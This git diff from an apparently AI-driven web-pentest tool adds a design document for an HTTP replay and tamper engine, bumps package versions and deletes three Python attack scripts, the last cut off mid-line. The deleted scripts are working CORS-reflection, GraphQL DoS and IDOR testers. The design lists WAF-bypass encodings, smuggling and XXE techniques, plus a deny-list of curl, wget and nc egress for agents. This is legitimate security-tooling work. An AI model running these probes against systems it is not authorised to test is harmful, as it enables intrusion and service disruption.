diff --git a/STATS.md b/STATS.md index d0c526298..c75c91085 100644 --- a/STATS.md +++ b/STATS.md @@ -327,3 +327,14 @@ | 2026-08-09 | 3,305 (+48) | 0 (+0) | 3,305 (+48) | | 2026-08-10 | 3,376 (+71) | 0 (+0) | 3,376 (+71) | | 2026-08-11 | 3,439 (+63) | 0 (+0) | 3,439 (+63) | +| 2026-08-12 | 3,503 (+64) | 0 (+0) | 3,503 (+64) | +| 2026-08-13 | 3,710 (+207) | 0 (+0) | 3,710 (+207) | +| 2026-08-14 | 3,820 (+110) | 0 (+0) | 3,820 (+110) | +| 2026-08-15 | 3,876 (+56) | 0 (+0) | 3,876 (+56) | +| 2026-08-16 | 3,935 (+59) | 0 (+0) | 3,935 (+59) | +| 2026-08-17 | 4,019 (+84) | 0 (+0) | 4,019 (+84) | +| 2026-08-18 | 4,144 (+125) | 0 (+0) | 4,144 (+125) | +| 2026-08-19 | 4,207 (+63) | 0 (+0) | 4,207 (+63) | +| 2026-08-20 | 4,288 (+81) | 0 (+0) | 4,288 (+81) | +| 2026-08-21 | 4,421 (+133) | 0 (+0) | 4,421 (+133) | +| 2026-08-22 | 4,509 (+88) | 0 (+0) | 4,509 (+88) | diff --git a/bun.lock b/bun.lock index 2ce854b48..ab9598680 100644 --- a/bun.lock +++ b/bun.lock @@ -27,7 +27,7 @@ }, "packages/app": { "name": "@cyberstrike-io/app", - "version": "1.1.15", + "version": "1.1.16", "dependencies": { "@cyberstrike-io/sdk": "workspace:*", "@cyberstrike-io/ui": "workspace:*", @@ -78,7 +78,7 @@ }, "packages/console/app": { "name": "@cyberstrike-io/console-app", - "version": "1.1.15", + "version": "1.1.16", "dependencies": { "@cloudflare/vite-plugin": "1.15.2", "@cyberstrike-io/console-core": "workspace:*", @@ -112,7 +112,7 @@ }, "packages/console/core": { "name": "@cyberstrike-io/console-core", - "version": "1.1.15", + "version": "1.1.16", "dependencies": { "@aws-sdk/client-sts": "3.782.0", "@cyberstrike-io/console-mail": "workspace:*", @@ -139,7 +139,7 @@ }, "packages/console/function": { "name": "@cyberstrike-io/console-function", - "version": "1.1.15", + "version": "1.1.16", "dependencies": { "@ai-sdk/anthropic": "2.0.0", "@ai-sdk/openai": "2.0.2", @@ -163,7 +163,7 @@ }, "packages/console/mail": { "name": "@cyberstrike-io/console-mail", - "version": "1.1.15", + "version": "1.1.16", "dependencies": { "@jsx-email/all": "2.2.3", "@jsx-email/cli": "1.4.3", @@ -187,7 +187,7 @@ }, "packages/cyberstrike": { "name": "cyberstrike", - "version": "1.1.15", + "version": "1.1.16", "bin": { "cyberstrike": "./bin/cyberstrike", }, @@ -302,7 +302,7 @@ }, "packages/enterprise": { "name": "@cyberstrike-io/enterprise", - "version": "1.1.15", + "version": "1.1.16", "dependencies": { "@cyberstrike-io/ui": "workspace:*", "@cyberstrike-io/util": "workspace:*", @@ -331,7 +331,7 @@ }, "packages/function": { "name": "@cyberstrike-io/function", - "version": "1.1.15", + "version": "1.1.16", "dependencies": { "@octokit/auth-app": "8.0.1", "@octokit/rest": "catalog:", @@ -347,7 +347,7 @@ }, "packages/hackbrowser": { "name": "@cyberstrike-io/hackbrowser", - "version": "1.1.15", + "version": "1.1.16", "dependencies": { "@ai-sdk/anthropic": "2.0.0", "@ai-sdk/openai": "2.0.2", @@ -362,7 +362,7 @@ }, "packages/plugin": { "name": "@cyberstrike-io/plugin", - "version": "1.1.15", + "version": "1.1.16", "dependencies": { "@cyberstrike-io/sdk": "workspace:*", "zod": "catalog:", @@ -382,7 +382,7 @@ }, "packages/sdk/js": { "name": "@cyberstrike-io/sdk", - "version": "1.1.15", + "version": "1.1.16", "devDependencies": { "@hey-api/openapi-ts": "0.97.3", "@tsconfig/node22": "catalog:", @@ -393,7 +393,7 @@ }, "packages/slack": { "name": "@cyberstrike-io/slack", - "version": "1.1.15", + "version": "1.1.16", "dependencies": { "@cyberstrike-io/sdk": "workspace:*", "@slack/bolt": "^3.17.1", @@ -406,7 +406,7 @@ }, "packages/ui": { "name": "@cyberstrike-io/ui", - "version": "1.1.15", + "version": "1.1.16", "dependencies": { "@cyberstrike-io/sdk": "workspace:*", "@cyberstrike-io/util": "workspace:*", @@ -448,7 +448,7 @@ }, "packages/util": { "name": "@cyberstrike-io/util", - "version": "1.1.15", + "version": "1.1.16", "dependencies": { "zod": "catalog:", }, diff --git a/docs/http-replay-engine-design.md b/docs/http-replay-engine-design.md new file mode 100644 index 000000000..eaf853045 --- /dev/null +++ b/docs/http-replay-engine-design.md @@ -0,0 +1,309 @@ +# HTTP Replay Engine — Design + +Status: **Draft / planning** · Branch: `feature/http-replay-engine` · Tracking issue: #83 + +A first-class, agent-callable HTTP replay/tamper engine that replaces the +`curl`-in-`bash` confirm/weaponize path used by the proxy vuln-testers. The +payload travels as **data**, never as part of a shell command line. + +--- + +## 1. Motivation + +The proxy vuln-testers (`proxy-tester-injection` and siblings) confirm and +weaponize findings by constructing `curl` command strings in `bash`. This is +fragile: + +- **Two-layer escaping.** A payload passes through the shell *and* the target + parser. Quotes, backticks, `$`, newlines routinely break the request — or get + interpreted locally (a `` `...` `` payload executes on the tester's own host and + never reaches the target). +- **State handling.** Cookies / CSRF tokens / auth refresh are re-pasted per + request; a dropped header silently invalidates the test. +- **Concurrency.** Race / single-packet tests are hard to time with one-liners. + +Net effect: **false positives** (a broken request read as "safe") and **missed +findings** (the payload never landed intact). `inject_probe` already proves the +correct pattern — it sends via a real HTTP engine (`fetch`), never a shell — but +only for its fixed enumeration batteries; the agent's confirm step still falls +back to `curl`. + +--- + +## 2. Core design principle — the "never struggles" guarantee + +> Every request is fundamentally **raw bytes**. A structured convenience layer +> sits on top and round-trips **losslessly** to bytes. If the structured layer +> cannot express something, the agent drops to the **raw-byte backend** and can +> send *any* byte sequence. + +There is therefore **no HTTP message the engine cannot represent**. The +structured layer is ~95% ergonomics; the raw-byte layer is the 5% "nothing is +impossible" escape hatch. Every capability below is built on this two-level +model. + +Two sending backends realize it: + +- **`undici`** (HTTP/1.1 + HTTP/2) — normal requests: auto-encode, connection + pool, fast. Covers the large majority of targets. +- **Raw TCP/TLS socket** (`net` / `tls`) — byte-exact replay for request + smuggling / desync and intentionally-malformed requests, which `undici` + normalizes and thus cannot send. + +Mirrors Caido's `RequestSpec` (structured) / `RequestSpecRaw` (bytes) split. We +do **not** embed Caido (its SDK runs inside Caido; it cannot be imported as a +library and would break clean `npm install`); we copy the design with `undici`. + +--- + +## 3. Capability catalog + +Tiers: **P0** = core (MVP) · **P1** = power · **P2** = edge-case · **EXT** = +optional external-tool bridge. + +### 3.1 Request sourcing & modeling +- From captured request (`request_id`), raw bytes, or from scratch (builder). **P0** +- Clone + override (base + changes). **P0** +- Variable / placeholder templating (`§marker§`, `{{var}}`). **P1** +- Import HAR / Burp XML / Caido export. **P2** +- Lossless byte↔struct round-trip (core guarantee). **P0** + +### 3.2 URL / target +- Scheme, host, port. **P0** +- Path: segments, matrix params (`;`), **normalization OFF** (`..`, `%2e`, `//` + sent verbatim). **P0** +- Query: **ordered multimap** — duplicate keys, empty keys, valueless keys, + key-without-`=`; per-param encoding. **P0** +- **Connect-to override**: resolve host to arbitrary IP, decouple `Host` header → + host-header attacks, SSRF, vhost fuzzing, DNS-rebind sim. **P1** +- IDN / punycode, `user:pass@` userinfo. **P2** + +### 3.3 Headers +- Ordered list, **duplicates**, arbitrary order. **P0** +- **Case preservation** (`content-length` vs `Content-Length`). **P0** +- Add / remove / replace / rename. **P0** +- Auto-header control (Host, Content-Length, Accept-Encoding, UA, Connection — + each suppressible / overridable). **P0** +- Whitespace / obs-fold, tab-vs-space, trailing space (smuggling). **P2** (raw) +- CRLF injection in header value (header/response splitting). **P2** (raw) +- Conflicting CL+TE, Expect: 100-continue, Range. **P2** (raw) + +### 3.4 Body / payload +- Raw bytes (verbatim). **P0** +- Form url-encoded (ordered, duplicate, encoding control). **P0** +- **Multipart**: multiple parts, per-part name/filename/content-type/headers, + **boundary control** (custom/malformed/duplicate), part ordering, oversized + filename, MIME spoof. **P0** +- **JSON**: JSON-path deep set/delete/**type-change** (string→array), inject + extra keys (mass-assignment), key ordering, duplicate keys, malformed JSON, + `__proto__` (prototype pollution). **P0** +- **XML**: element/attr, **XXE** (DTD, external + parameter entity), CDATA, + billion-laughs (bounded). **P1** +- **GraphQL**: query/mutation, variables, operationName, **batching**, + introspection, aliases, bounded deep nesting, directives. **P1** +- Compressed body send (gzip/br/zstd), **manual chunked** (chunk-size lies). **P2** +- protobuf / gRPC frames. **P1** (EXT for gRPC transport) + +### 3.5 Encoding / transform toolkit (per injection-point, **chainable**) +URL-encode (standard / all-chars / **double** / triple) · Unicode (`\u`, overlong +UTF-8, homoglyph) · HTML entities (named/dec/hex) · Base64 / base64url · Hex · +case-toggle · null-byte / control · **pipeline** (e.g. base64→url-encode). Lets +the agent compose WAF-bypass encodings deterministically. **P0** base set / **P1** +exotics. + +### 3.6 Transport & TLS +- HTTP version pin (1.0 / 1.1 / 2), downgrade tests. **P0** +- TLS: min/max version, ciphers, curves, **ALPN**, **SNI** (override/empty/ + mismatch), resumption on/off. **P1** +- **mTLS** (client cert: pem / pkcs12), verify off, custom CA. **P1** +- Connection: keep-alive vs close, **fresh vs reused**, pipelining, h2 settings, + 0-RTT. **P1** +- Proxy: HTTP CONNECT / SOCKS4/5, per-request, chained. **P1** +- **Separate timeouts**: connect / TLS / TTFB / total / idle. **P0** +- DNS: custom resolver, resolve-to-IP, IPv4/IPv6 preference, direct-IP. **P1** + +### 3.7 Redirects & response following +Follow / don't / N / same-origin-only · **capture full redirect chain** (each +hop's request+response) · method-change control on 301/302/303 · cookie +accumulation across hops · **cross-origin auth-leak** test. **P1** + +### 3.8 State & session management +- Cookie jar (per-session / per-credential, **isolated**). **P0** +- Auth injection from `WebCredential`. **P0** +- **Token lifecycle**: extract from response (regex / JSON-path / header) → store + as variable → inject into later requests → **auto-refresh macro** on 401. **P1** +- **CSRF auto-handle**: extract token (HTML form / header / cookie), resubmit. **P1** +- Session isolation: fresh vs shared (contamination control). **P1** +- **Multi-identity**: same request as credential A vs B (IDOR/authz core). **P0** + +### 3.9 Multi-request orchestration +- **Intruder modes**: sniper / battering-ram / pitchfork / cluster-bomb. **P1** +- Payload sources: wordlist / generated (numbers/dates/charset) / file / **from + previous response** (recursive grep). **P1** +- Concurrency + rate-limit (req/s) + jitter/delay. **P0** +- **Race / single-packet**: h2 single-frame, h1 last-byte-sync, N concurrent, + barrier/gate. **P1** +- **Sequences (macros)**: ordered multi-step + variable passing + conditional + step + loop-until. **P1** +- **Battery diff/clustering**: cluster responses by (status/length/word/time/ + similarity-hash) to surface anomalies. **P1** +- Per-response grep-match / grep-extract (define what counts as a hit). **P1** + +### 3.10 Response capture & analysis +Raw response bytes (undecoded) · decoded body (gunzip/brotli/zstd) · parsed +(status, ordered headers, set-cookie, content-type/charset, **declared vs actual +length**) · **timing** (DNS/connect/TLS/TTFB/total) · redirect chain · TLS info +(cert chain, cipher, JA3S) · **structured observations** (marker reflection + +encoded?, error signatures, baseline diff, boolean/time deltas) · **binary-safe** +· size cap + streaming truncation. **P0** core / **P1** JA3S+clustering. + +### 3.11 Reliability, safety, guardrails — **P0** +- **Scope check** before every send (hard deny out-of-scope; reuse existing + matcher). +- **Destructive-payload guard** at engine level (same philosophy as the existing + bash deny-list). +- **Idempotency guard**: never auto-retry state-changing methods + (POST/PUT/PATCH/DELETE) unless explicitly flagged safe. +- **DoS guardrails**: global session budget, per-host concurrency cap, backoff on + 429/503 (honor `Retry-After`), **circuit breaker** on N consecutive failures. +- **Timeout = data**: always return elapsed ms; timeout threshold > max intended + `SLEEP` so time-based injection is never masked as a failure. +- **Structured error taxonomy**: `dns | conn_refused | tls | timeout | reset | + http_error | rate_limited`. +- Hard per-request `AbortController`; cooperative battery cancellation. +- Memory bounds (response cap, streaming, battery result cap). +- **Determinism**: same input → same request bytes (reproducibility). +- **Audit log**: every request the engine sent (report + accountability). + +### 3.12 Evidence & reporting — **P0** +Per-send reproducible record: exact request bytes + response + timing + +**curl-equivalent & raw-HTTP export** · attach to the vulnerability record (link +a finding to the exact request that proved it) · **replay-a-finding** (re-send a +stored finding's request to re-verify). + +### 3.13 Protocol breadth beyond request/response +**WebSocket** (connect, send/recv frames, message fuzz, origin/auth) — **P1** +(Bun native) · **SSE** (stream) — **P1** · **gRPC** (unary + streaming) — **P1** / +**EXT** transport · **HTTP/3** — **EXT** · **JA3 mimicry** — **EXT**. + +### 3.14 Tool surface (what the agent is offered) +`http_replay` (structured) · `http_replay_raw` (bytes) · `http_replay_batch` +(battery) · `http_replay_sequence` (macro) · `http_replay_ws` (WebSocket). +Import/export: HAR / Burp / Caido / curl. **P0** first three / **P1** rest. + +--- + +## 4. Single choke-point — all attack HTTP funnels through the engine (§15) + +**Goal:** guarantee that every tampering / injection / replay request goes +through the engine — as a **requirement, not a prompt-level initiative.** + +### 4.1 Scope of the funnel (honest boundary) +Only **target-directed attack traffic** funnels through the engine. CyberStrike's +own control-plane calls (LLM provider, GitHub, cloud SDKs, websearch) are **out +of scope** — they are infrastructure, not attack traffic. + +Current attack-traffic egress surfaces to be routed: +- `bash` → `curl` / `wget` (testers' main path) +- `webfetch` tool +- `inject_probe` (already `fetch`-based) +- `attack_script` (python/shell scripts issuing their own HTTP) +- `llmhook` (LLM scanner) + +### 4.2 Enforcement — two structural layers (not prompt) +1. **Permission layer (primary).** For `proxy-tester-*` agents, deny HTTP-egress + commands inside `bash` (`curl`, `wget`, `httpie`, `nc … http`, `python -c + …requests…`) via deny-patterns, and deny `webfetch` — leaving only + `http_replay*`. Same mechanism already used to block destructive SQL in bash. + `bash` is **not** fully disabled — only HTTP egress; jq / encoding / + `attack_script` keep working. +2. **Hook layer (secondary net).** A `permission.ask` trigger catches a smuggled + egress (e.g. a `curl` hidden in a subshell) → reject + "use http_replay" + + **audit log**. Closes the gap the deny-patterns miss. + +Result: every attack request provably passes through the engine; none escapes +unmonitored. + +--- + +## 5. Governed concurrency & backpressure (§16) + +Today requests are serial (IngestQueue serial; testers sequential). We want +concurrency **without overwhelming any of three things**: (a) the target server, +(b) the AI model, (c) CyberStrike / the proxy agents themselves. Concurrency is +governed at **two independent layers**: + +| Layer | Protects | Mechanism | +|---|---|---| +| **HTTP layer** (in-engine) | Target server | **AIMD adaptive rate-limit** (slow-start; ramp up until 429/503/latency spike, then multiplicative back-off) + **per-host token bucket** + honor `Retry-After` + **circuit breaker** + **global session budget** | +| **Agent/LLM layer** (orchestration) | AI model + CyberStrike | **Bounded concurrency pool** (how many testers / ingest items run at once) + provider rate-limit awareness + **backpressure** (throttle new dispatch when the LLM slows) | + +**Key distinction:** a *target* rate-limit (→ throttle HTTP) and a *model* +rate-limit (→ throttle agent spawning) are **different signals with different +responses**; conflating them either hammers the server or stalls the model. + +**Failover / gap scenarios:** +- **Overwhelming the server** → AIMD + per-host cap + circuit breaker auto-back + off; never exceed observed capacity. +- **Overwhelming the model** → agent-pool cap + provider-429 backoff; the LLM + queue never balloons. +- **Slowing CyberStrike** → backpressure + global budget; concurrency never + starves the main loop. New work is admitted as the pool drains. +- **Partial failure** → a host's circuit breaker pauses only that host; others + continue (one failure never stalls the whole run). + +Adaptivity is required: a fixed "N concurrent" guess is either too slow or too +aggressive. AIMD **auto-tunes to the target's real capacity** — gentle on small +targets, fast on large ones. + +--- + +## 6. Phased build (design everything, build in layers) + +- **Phase 1 (P0):** §3.1–3.5 core mutation + both backends + §3.10 response/diff + + §3.11 reliability + §3.12 evidence + `http_replay` / `http_replay_raw`. + → migrates `proxy-tester-injection` off `curl`. +- **Phase 2 (P1):** §3.9 orchestration (race/sequence/battery) + §3.6 TLS/ + transport + §3.8 token/CSRF + §3.13 WebSocket + Intruder modes + §5 governed + concurrency wired into the ingest pipeline. +- **Phase 3 (P2/EXT):** smuggling details + §3.14 import/export + h3/JA3 bridge. + +Every phase is **additive and feature-flagged**. No tester moves off `curl` until +Phase 1 is complete; `curl` stays as fallback throughout. Default behavior is +unchanged while the flag is off. + +--- + +## 7. Progress + +### Done — engine core (`src/replay/`, dependency-free, unit-tested) +- [x] `message.ts` — lossless byte↔struct HTTP request model +- [x] `mutate.ts` — field-level mutation (query / headers / body) +- [x] `encode.ts` — composable WAF-bypass encoding toolkit +- [x] `errors.ts` — error taxonomy + retry/idempotency policy (Node + Bun codes) +- [x] `governor.ts` — CircuitBreaker / AimdLimiter / TokenBucket / GlobalBudget +- [x] `response.ts` — response parser + unified Result shape +- [x] `backend-fetch.ts` — backend A (structured send via fetch) +- [x] `backend-socket.ts` — backend B (byte-exact send via raw TCP/TLS) +- [x] `observe.ts` — reflection / error-signature / baseline diff +- [x] `send.ts` — governed send (retry + idempotency + circuit/budget) +- [x] `batch.ts` — bounded-concurrency runner (fixed or AIMD-adaptive) + +Each module ships with a `test/replay/*.test.ts` suite; both backends are +verified end-to-end against local servers (backend B proven byte-exact). + +### Remaining — CS integration (needs the installed workspace) +- [ ] Tool surface: `http_replay` / `http_replay_raw` (`Tool.define`, wired into + `Request` / scope matcher / `WebCredential`), modeled on `tool/inject-probe.ts` +- [ ] §4 funnel enforcement: deny curl/wget/webfetch for `proxy-tester-*` + + `permission.ask` hook net +- [ ] Migrate `proxy-tester-injection` behind a feature flag (curl fallback intact) +- [ ] Optional external-tool bridge for HTTP/3 / JA3 (Phase 3) + +## 8. Non-goals +- Non-HTTP protocols (SMTP/FTP/…): out of scope — this is a web-pentest engine. +- Embedding Caido/Burp: rejected (see §2). Optional import/export only. +- HTTP/3 and JA3 mimicry in core: out (native dependency vs clean `npm install`); + handled by an optional external-tool bridge (detect an installed h3-capable + `curl` / `curl-impersonate`; clean "install X" message when absent — mirrors + how hackbrowser optionally uses Chromium). diff --git a/packages/app/package.json b/packages/app/package.json index 41d0cc654..2bd4c5974 100644 --- a/packages/app/package.json +++ b/packages/app/package.json @@ -1,6 +1,6 @@ { "name": "@cyberstrike-io/app", - "version": "1.1.15", + "version": "1.1.16", "description": "", "type": "module", "exports": { diff --git a/packages/console/app/package.json b/packages/console/app/package.json index dfeeb05cb..16addc277 100644 --- a/packages/console/app/package.json +++ b/packages/console/app/package.json @@ -1,6 +1,6 @@ { "name": "@cyberstrike-io/console-app", - "version": "1.1.15", + "version": "1.1.16", "type": "module", "license": "AGPL-3.0-only", "scripts": { diff --git a/packages/console/core/package.json b/packages/console/core/package.json index 7782b1d9a..6bed38d27 100644 --- a/packages/console/core/package.json +++ b/packages/console/core/package.json @@ -1,7 +1,7 @@ { "$schema": "https://json.schemastore.org/package.json", "name": "@cyberstrike-io/console-core", - "version": "1.1.15", + "version": "1.1.16", "private": true, "type": "module", "license": "AGPL-3.0-only", diff --git a/packages/console/function/package.json b/packages/console/function/package.json index 0062d305b..01990cf78 100644 --- a/packages/console/function/package.json +++ b/packages/console/function/package.json @@ -1,6 +1,6 @@ { "name": "@cyberstrike-io/console-function", - "version": "1.1.15", + "version": "1.1.16", "$schema": "https://json.schemastore.org/package.json", "private": true, "type": "module", diff --git a/packages/console/mail/package.json b/packages/console/mail/package.json index 63d54887f..b2196c256 100644 --- a/packages/console/mail/package.json +++ b/packages/console/mail/package.json @@ -1,6 +1,6 @@ { "name": "@cyberstrike-io/console-mail", - "version": "1.1.15", + "version": "1.1.16", "dependencies": { "@jsx-email/all": "2.2.3", "@jsx-email/cli": "1.4.3", diff --git a/packages/cyberstrike/data/scripts/cors_checker.py b/packages/cyberstrike/data/scripts/cors_checker.py deleted file mode 100644 index 25fb67007..000000000 --- a/packages/cyberstrike/data/scripts/cors_checker.py +++ /dev/null @@ -1,99 +0,0 @@ -#!/usr/bin/env python3 -"""CORS misconfiguration checker — test multiple origin reflection patterns.""" -import argparse -import requests -import json -import sys -import urllib3 -urllib3.disable_warnings() - -def check_cors(url, origin, method="GET"): - headers = { - "Origin": origin, - "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36", - } - try: - resp = requests.request(method, url, headers=headers, verify=False, timeout=10) - acao = resp.headers.get("Access-Control-Allow-Origin", "") - acac = resp.headers.get("Access-Control-Allow-Credentials", "") - return { - "origin_sent": origin, - "acao": acao, - "acac": acac, - "reflected": acao == origin, - "wildcard": acao == "*", - "credentials": acac.lower() == "true", - "status": resp.status_code, - } - except Exception as e: - return {"origin_sent": origin, "error": str(e)} - -def main(): - parser = argparse.ArgumentParser(description="CORS misconfiguration checker") - parser.add_argument("url", help="Target URL to test") - parser.add_argument("--json-output", action="store_true") - args = parser.parse_args() - - # Extract domain from URL - from urllib.parse import urlparse - parsed = urlparse(args.url) - domain = parsed.hostname - - test_origins = [ - f"https://evil.com", - f"https://{domain}.evil.com", - f"https://evil.{domain}", - f"https://sub.{domain}", - f"http://{domain}", # HTTP downgrade - f"https://{domain}%60.evil.com", # Backtick bypass - f"https://{domain}_.evil.com", # Underscore bypass - "null", # null origin - f"https://evil.com%0d%0a", # CRLF - ] - - results = [] - vulns = [] - - print(f"CORS Misconfiguration Check: {args.url}") - print(f"{'='*70}\n") - - for origin in test_origins: - result = check_cors(args.url, origin) - results.append(result) - - if "error" in result: - print(f" [ERROR] {origin} → {result['error']}") - continue - - is_vuln = False - reason = "" - - if result["reflected"] and result["credentials"]: - is_vuln = True - reason = "Origin reflected + credentials allowed = FULL CORS BYPASS" - elif result["reflected"]: - is_vuln = True - reason = "Origin reflected (no credentials)" - elif result["wildcard"] and result["credentials"]: - is_vuln = True - reason = "Wildcard ACAO with credentials (browser blocks this, but misconfigured)" - elif result["acao"] == "null" and result["credentials"]: - is_vuln = True - reason = "null origin allowed with credentials" - - icon = "[VULN!] " if is_vuln else "[SAFE] " - print(f" {icon} Origin: {origin}") - print(f" ACAO: {result['acao'] or '(none)'}, ACAC: {result['acac'] or '(none)'}") - if is_vuln: - print(f" {reason}") - vulns.append({"origin": origin, "reason": reason, **result}) - print() - - if args.json_output: - print(json.dumps({"url": args.url, "total_tests": len(results), "vulnerabilities": vulns, "results": results}, indent=2)) - else: - print(f"{'='*70}") - print(f"RESULTS: {len(vulns)}/{len(results)} origins accepted (potentially vulnerable)") - -if __name__ == "__main__": - main() diff --git a/packages/cyberstrike/data/scripts/graphql_tester.py b/packages/cyberstrike/data/scripts/graphql_tester.py deleted file mode 100644 index d8a852591..000000000 --- a/packages/cyberstrike/data/scripts/graphql_tester.py +++ /dev/null @@ -1,121 +0,0 @@ -#!/usr/bin/env python3 -"""GraphQL vulnerability tester — introspection, complexity DoS, batch abuse, mutation auth bypass.""" -import argparse -import requests -import json -import sys -import urllib3 -urllib3.disable_warnings() - -INTROSPECTION_QUERY = '{"query":"{ __schema { types { name fields { name type { name } } } mutationType { fields { name } } queryType { fields { name } } } }"}' - -def test_introspection(url, headers): - """Check if introspection is enabled — exposes entire API schema.""" - try: - resp = requests.post(url, data=INTROSPECTION_QUERY, headers={**headers, "Content-Type": "application/json"}, verify=False, timeout=15) - data = resp.json() - if "data" in data and "__schema" in data.get("data", {}): - schema = data["data"]["__schema"] - types = [t["name"] for t in schema.get("types", []) if not t["name"].startswith("__")] - mutations = [f["name"] for f in (schema.get("mutationType") or {}).get("fields", [])] - queries = [f["name"] for f in (schema.get("queryType") or {}).get("fields", [])] - print(f" [VULN!] Introspection ENABLED — {len(types)} types, {len(queries)} queries, {len(mutations)} mutations") - if mutations: - print(f" Mutations: {', '.join(mutations[:10])}") - if queries: - print(f" Queries: {', '.join(queries[:10])}") - return {"enabled": True, "types": len(types), "queries": queries[:20], "mutations": mutations[:20]} - print(" [SAFE] Introspection disabled") - return {"enabled": False} - except Exception as e: - print(f" [ERROR] {e}") - return {"error": str(e)} - -def test_complexity_dos(url, headers, depth=10): - """Test nested query DoS — deeply nested queries that crash the server.""" - # Build nested query: { users { posts { comments { author { posts { ... } } } } } } - inner = "id name" - for i in range(depth): - inner = f"nested{i} {{ {inner} }}" - query = f'{{"query":"{{ {inner} }}"}}' - try: - resp = requests.post(url, data=query, headers={**headers, "Content-Type": "application/json"}, verify=False, timeout=30) - if resp.status_code == 200 and resp.elapsed.total_seconds() > 5: - print(f" [VULN!] Complexity DoS — depth {depth} took {resp.elapsed.total_seconds():.1f}s") - return {"vulnerable": True, "depth": depth, "time_seconds": resp.elapsed.total_seconds()} - elif resp.status_code >= 500: - print(f" [VULN!] Server error at depth {depth} — {resp.status_code}") - return {"vulnerable": True, "depth": depth, "status": resp.status_code} - else: - print(f" [SAFE] Depth {depth} handled OK ({resp.status_code}, {resp.elapsed.total_seconds():.1f}s)") - return {"vulnerable": False} - except requests.exceptions.Timeout: - print(f" [VULN!] Request timed out at depth {depth} — server overwhelmed") - return {"vulnerable": True, "depth": depth, "timeout": True} - except Exception as e: - return {"error": str(e)} - -def test_batch_abuse(url, headers, count=50): - """Test batch query abuse — send many queries in single request.""" - queries = [{"query": f'{{ __typename }}'} for _ in range(count)] - try: - resp = requests.post(url, json=queries, headers=headers, verify=False, timeout=30) - if resp.status_code == 200: - data = resp.json() - if isinstance(data, list) and len(data) == count: - print(f" [VULN!] Batch queries accepted — {count} queries in single request") - return {"vulnerable": True, "count": count} - print(f" [SAFE] Batch queries rejected or limited ({resp.status_code})") - return {"vulnerable": False} - except Exception as e: - return {"error": str(e)} - -def test_alias_dos(url, headers, count=100): - """Test alias-based DoS — same query duplicated via aliases.""" - aliases = " ".join([f'a{i}: __typename' for i in range(count)]) - query = f'{{"query":"{{ {aliases} }}"}}' - try: - resp = requests.post(url, data=query, headers={**headers, "Content-Type": "application/json"}, verify=False, timeout=30) - if resp.status_code == 200 and resp.elapsed.total_seconds() > 3: - print(f" [VULN!] Alias DoS — {count} aliases took {resp.elapsed.total_seconds():.1f}s") - return {"vulnerable": True, "aliases": count, "time": resp.elapsed.total_seconds()} - print(f" [SAFE] {count} aliases handled ({resp.elapsed.total_seconds():.1f}s)") - return {"vulnerable": False} - except Exception as e: - return {"error": str(e)} - -def main(): - parser = argparse.ArgumentParser(description="GraphQL vulnerability tester") - parser.add_argument("url", help="GraphQL endpoint URL") - parser.add_argument("-H", "--header", action="append", default=[], help="Headers (key:value)") - parser.add_argument("--depth", type=int, default=10, help="Nesting depth for DoS test") - parser.add_argument("--batch-count", type=int, default=50, help="Number of batch queries") - parser.add_argument("--json-output", action="store_true") - args = parser.parse_args() - - headers = {"User-Agent": "Mozilla/5.0"} - for h in args.header: - k, v = h.split(":", 1) - headers[k.strip()] = v.strip() - - results = {} - print(f"\nGraphQL Vulnerability Test: {args.url}") - print(f"{'='*60}\n") - - print("[1] Introspection:") - results["introspection"] = test_introspection(args.url, headers) - - print(f"\n[2] Complexity DoS (depth={args.depth}):") - results["complexity_dos"] = test_complexity_dos(args.url, headers, args.depth) - - print(f"\n[3] Batch Query Abuse (count={args.batch_count}):") - results["batch_abuse"] = test_batch_abuse(args.url, headers, args.batch_count) - - print(f"\n[4] Alias DoS:") - results["alias_dos"] = test_alias_dos(args.url, headers) - - if args.json_output: - print(json.dumps(results, indent=2)) - -if __name__ == "__main__": - main() diff --git a/packages/cyberstrike/data/scripts/idor_tester.py b/packages/cyberstrike/data/scripts/idor_tester.py deleted file mode 100644 index 27f86503d..000000000 --- a/packages/cyberstrike/data/scripts/idor_tester.py +++ /dev/null @@ -1,112 +0,0 @@ -#!/usr/bin/env python3 -"""IDOR tester — cross-account access testing with two sets of credentials.""" -import argparse -import requests -import json -import sys -import urllib3 -urllib3.disable_warnings() - -def test_endpoint(url, token, method="GET", data=None): - headers = {"Authorization": f"Bearer {token}"} if not token.startswith("Cookie:") else {"Cookie": token.split("Cookie:", 1)[1].strip()} - headers["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36" - - try: - if method.upper() == "GET": - resp = requests.get(url, headers=headers, verify=False, timeout=10) - elif method.upper() == "POST": - headers["Content-Type"] = "application/json" - resp = requests.post(url, headers=headers, json=data, verify=False, timeout=10) - elif method.upper() == "PUT": - headers["Content-Type"] = "application/json" - resp = requests.put(url, headers=headers, json=data, verify=False, timeout=10) - elif method.upper() == "DELETE": - resp = requests.delete(url, headers=headers, verify=False, timeout=10) - else: - resp = requests.request(method.upper(), url, headers=headers, verify=False, timeout=10) - - return { - "status": resp.status_code, - "length": len(resp.text), - "body_preview": resp.text[:500], - "headers": dict(resp.headers), - } - except Exception as e: - return {"status": 0, "error": str(e)} - -def main(): - parser = argparse.ArgumentParser(description="IDOR cross-account tester") - parser.add_argument("--token-a", required=True, help="Token for Account A (victim)") - parser.add_argument("--token-b", required=True, help="Token for Account B (attacker)") - parser.add_argument("--endpoints", required=True, help="File with endpoints (one per line) or comma-separated") - parser.add_argument("--method", default="GET", help="HTTP method (default: GET)") - parser.add_argument("--data", default=None, help="Request body JSON (for POST/PUT)") - parser.add_argument("--json-output", action="store_true", help="Output as JSON") - args = parser.parse_args() - - # Parse endpoints - if "," in args.endpoints: - endpoints = [e.strip() for e in args.endpoints.split(",")] - else: - with open(args.endpoints) as f: - endpoints = [l.strip() for l in f if l.strip()] - - data = json.loads(args.data) if args.data else None - results = [] - - print(f"Testing {len(endpoints)} endpoints for IDOR...") - print(f"Method: {args.method}") - print(f"{'='*70}\n") - - for endpoint in endpoints: - # Test: Account A accessing their own resource (baseline) - resp_a_own = test_endpoint(endpoint, args.token_a, args.method, data) - - # Test: Account B accessing Account A's resource (IDOR test) - resp_b_cross = test_endpoint(endpoint, args.token_b, args.method, data) - - is_idor = False - reason = "" - - if resp_b_cross["status"] == 200 and resp_a_own["status"] == 200: - # Both 200 — check if attacker sees victim's data - if resp_b_cross["length"] > 50: # Non-trivial response - is_idor = True - reason = f"Account B got 200 with {resp_b_cross['length']} bytes (Account A baseline: 